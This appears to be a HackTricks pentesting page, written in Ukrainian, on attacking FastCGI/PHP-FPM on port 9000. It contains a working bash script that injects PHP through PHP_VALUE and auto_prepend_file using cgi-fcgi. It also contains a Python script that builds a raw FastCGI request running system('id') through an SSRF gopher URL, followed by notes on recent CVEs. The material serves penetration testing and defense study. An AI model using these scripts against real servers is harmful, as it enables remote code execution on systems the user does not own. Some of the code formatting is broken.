9000 Pentesting FastCGI
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Основна інформація
Якщо ви хочете дізнатися, що таке FastCGI перегляньте наступну сторінку:
disable_functions bypass - php-fpm/FastCGI
За замовчуванням FastCGI працює на port 9000 і не розпізнається nmap. Зазвичай FastCGI слухає тільки на localhost.
Перерахування / Швидкі перевірки
- Сканування портів:
nmap -sV -p9000 <target>(часто покаже «невідомий» сервіс; протестуйте вручну). - Перевірити сторінку статусу FPM:
SCRIPT_FILENAME=/status SCRIPT_NAME=/status REQUEST_METHOD=GET cgi-fcgi -bind -connect 127.0.0.1:9000(за замовчуванням php-fpmpm.status_path). - Знайти досяжні сокети через SSRF: якщо HTTP-сервіс вразливий до SSRF, спробуйте
gopher://127.0.0.1:9000/_...payloads, щоб вразити FastCGI listener. - Неправильні налаштування Nginx:
cgi.fix_pathinfo=1з помилкамиfastcgi_split_path_infoдозволяють дописати/.phpдо статичних файлів і дістатися до PHP (виконання коду через traversal).
RCE
Досить легко змусити FastCGI виконувати довільний код:
Надіслати FastCGI-запит, який додає PHP payload на початок
```bash #!/bin/bashPAYLOAD=“<?php echo ‘’;” FILENAMES=“/var/www/public/index.php” # Exisiting file path
HOST=$1 B64=$(echo “$PAYLOAD”|base64)
for FN in $FILENAMES; do
OUTPUT=$(mktemp)
env -i
PHP_VALUE=“allow_url_include=1”$‘\n’“allow_url_fopen=1”$‘\n’“auto_prepend_file=‘data://text/plain;base64,$B64’”
SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST
cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT
cat $OUTPUT done
</details>
або ви також можете використати наступний python-скрипт: [https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75)
### SSRF/gopher до FastCGI (коли 9000 недоступний безпосередньо)
Якщо ви контролюєте лише примітив **SSRF**, ви все ще можете звернутися до FastCGI, використовуючи схему gopher, і сформувати повний FastCGI-запит. Приклад побудови payload:
<details>
<summary>Побудувати та відправити gopher FastCGI RCE payload</summary>
```python
import struct, socket
host, port = "127.0.0.1", 9000
params = {
b"REQUEST_METHOD": b"POST",
b"SCRIPT_FILENAME": b"/var/www/html/index.php",
b"PHP_VALUE": b"auto_prepend_file=php://input\nallow_url_include=1"
}
body = b"<?php system('id'); ?>"
def rec(rec_type, content, req_id=1):
return struct.pack("!BBHHBB", 1, rec_type, req_id, len(content), 0, 0) + content
def enc_params(d):
out = b""
for k, v in d.items():
out += struct.pack("!B", len(k)) + struct.pack("!B", len(v)) + k + v
return out
payload = rec(4, enc_params(params)) + rec(4, b"") # FCGI_PARAMS + terminator
payload += rec(5, body) # FCGI_STDIN
s = socket.create_connection((host, port))
s.sendall(payload)
print(s.recv(4096))
Перетворіть payload у URL-safe base64/percent-encoding та відправте через gopher://host:9000/_<payload> у вашому SSRF.
Примітки щодо останніх проблем
- libfcgi <= 2.4.4 integer overflow (2024): створені
nameLen/valueLenу записах FastCGI можуть викликати переповнення на 32‑бітних збірках (поширених у embedded/IoT), що призводить до heap RCE, якщо сокет FastCGI доступний (напряму або через SSRF). - PHP-FPM log manipulation (CVE-2024-9026): коли
catch_workers_output = yes, атакувальники, які можуть надсилати FastCGI-запити, можуть обрізати або вставляти до 4 байтів на рядок логу, щоб стерти індикатори або отруїти логи. - Classic Nginx + cgi.fix_pathinfo misconfig: все ще широко зустрічається; якщо
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;використовується без перевірки існування файлу, будь-який шлях, що закінчується на.php, буде виконаний, що дозволяє path traversal або source overwrite style gadgets.
Посилання
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


